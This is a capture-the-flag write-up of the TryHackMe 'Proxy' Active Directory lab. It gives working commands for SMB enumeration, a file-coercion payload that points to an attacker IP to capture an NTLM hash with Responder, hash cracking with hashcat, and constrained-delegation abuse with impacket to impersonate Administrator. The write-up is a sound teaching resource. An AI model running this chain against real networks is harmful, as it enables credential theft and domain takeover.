By: Kavin Jindal (@Klevr)

Check out the challenge: TryHackMe | Proxy

In this write-up, I will give you a detailed walkthrough of ‘Proxy ’, which is an Active Directory based machine on TryHackMe where you have to gain Administrator access to the network’s domain controller. This machine includes NTLM hash capturing for a service account named svc.scanner which has Constrained Delegation permission to the domain controller. That permission is abused, and access is gained to the machine via the service ticket obtained by impersonating the Administrator.

-0x01: Enumeration

• The first step was to enumerate the open ports on the target via Nmap.

nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113

# Nmap 7.95 scan initiated Tue Jul 21 21:23:50 2026 as: /usr/lib/nmap/nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -oA nmap 10.49.142.113
Nmap scan report for 10.49.142.113
Host is up (0.018s latency).
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-21 15:53:59Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-07-21T15:54:42+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.ctf.local
| Not valid before: 2026-05-19T02:27:27
|_Not valid after:  2026-11-18T02:27:27
| rdp-ntlm-info: 
|   Target_Name: CTF
|   NetBIOS_Domain_Name: CTF
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ctf.local
|   DNS_Computer_Name: DC01.ctf.local
|   DNS_Tree_Name: ctf.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-07-21T15:54:01+00:00
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-07-21T15:54:02
|_  start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 21 21:24:42 2026 -- 1 IP address (1 host up) scanned in 52.64 seconds

• The scan reveals that we have Kerberos and LDAP running on the target which confirms an Active Directory environment. We also have SMB running on ports 139 and 445.
• The next immediate step was to enumerate SMB shares present on the target

smbclient -L //10.49.142.113/

• The IT-Shared share stood out of all. Enumerating it revealed the following files.

• The IT-Credentials-Backup.txt file revealed the following information about automated processes running on the target periodically.

• Here svc.scanner and svc.mysql were two services running on the target. The svc.scanner process in particular was running every two minutes, looking for new files added to the share.
• The IT-Credentials.txt file revealed the following credentials.

• Even though the credentials were stated as defunct, I took a note of them just in case they could be leveraged at a later stage.
• Finally the IT-Portal.html was a static webpage that looked like a dashboard as follows.

• Next, I used impacket-lookupsid script to enumerate security identifiers (SIDs) on the target to gain information on the users in the network.

impacket-lookupsid ' ':''@10.49.142.113 | awk '{print $2}' | cut -d '\' -f2 users.txt

• This is the standard command I use every time, accompanied by text manipulation to write all the available usernames to a text file for further enumeration.
• Here, the following user accounts seemed interesting.

• My obvious instinct was to attempt AS-REP roasting, but pre-authentication was found to be disabled on Kerberos.

-0x02: NTLM Hash Capturing

• I went back a few steps and took a look at the IT-Onboarding-Checklist.txt file. It was clearly stated that svc.scanner ran every two minutes on the machine and processed new files added to the share. I wondered if I could plant a reverse shell in PowerShell and gain access but it couldn’t work like that.
• For this particular step I had to refer to other sources, and it turns out that the NTLM hash for svc.scanner service could be captured via a File Coercion attack.
• I used a basic PowerShell command as follows, and planted that script in the IT-Shared share.

Test-Path \\192.168.147.203\icons\icon.ico

• The above payload pointed to my attacker machine to a non-existent icon file icon.ico . This is a basic example of how File Coercion attacks work. Windows assumes that every network path (like the one here) requires authentication due to which it sends the NTLM hash to the respective machine.
• I turned on Responder and waited for svc.scanner to process my file.

responder -I tun0

• I saved the hash and cracked it using Hashcat.

hashcat -m 5600 /usr/share/wordlists/rockyou.txt hash.txt

0x02: Bloodhound and Constrained Delegation

• After I obtained the credentials for svc.scanner , I went to Bloodhound to further enumerate the network and find any potential exploit paths.

bloodhound-python -d ctf.local -u svc.scanner -p [REDACTED] --zip -c ALL -ns 10.49.169.215

• I loaded the archive into Bloodhound and found the following.

• svc.scanner had the Allowedtodelegate permission on the Domain controller of the network. I did not have prior knowledge of this topic previously and referred to many online resources to learn about constrained delegation in Active Directory environments.

No Shells Required — a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

Abusing Delegation with Impacket (Part 1): Unconstrained Delegation — Black Hills Information Security, Inc.

• I used impacket-findDelegation just for the sake of experimentation to find the delegation of the service account to available targets.

• As it’s visible, svc.scanner had Constrained Delegation on cifs/DC01.ctf.local
• This meant that I could get a Service Ticket by impersonating Administrator.
• I deployed impacket-getST for the same and obtained the ticket.

impacket-getST -spn cifs/DC01.ctf.local -dc-ip 10.48.181.127 --impersonate Administrator ctf.local/svc.scanner:[REDACTED_PASSWORD]

• The ticket was saved on the machine.
• Next, I considered using wmiexec to authenticate to the target machine using the ticket I had just obtained, but before that it was important to point the ticket to the KRB5CCNAME environment variable.

• Why is it necessary? When authenticating using a ticket, wmiexec only fetches it from the KRB5CCNAME environment variable hence, it is important to point our downloaded ticket in the .ccache file to the variable as well.
• Next, I authenticated to the target.

impacket-wmiexec -k -no-pass ctf.local/[email protected]

• I had successfully gained access to the machine as the Administrator. The next objective was to look for the flag, which was found in the admin’s Desktop folder.

That was it for this machine. Solving this room was a great learning experience. I hope you found this write-up worth your time. Make sure to follow Avyukt Security for more quality cybersecurity content.

Happy Hacking!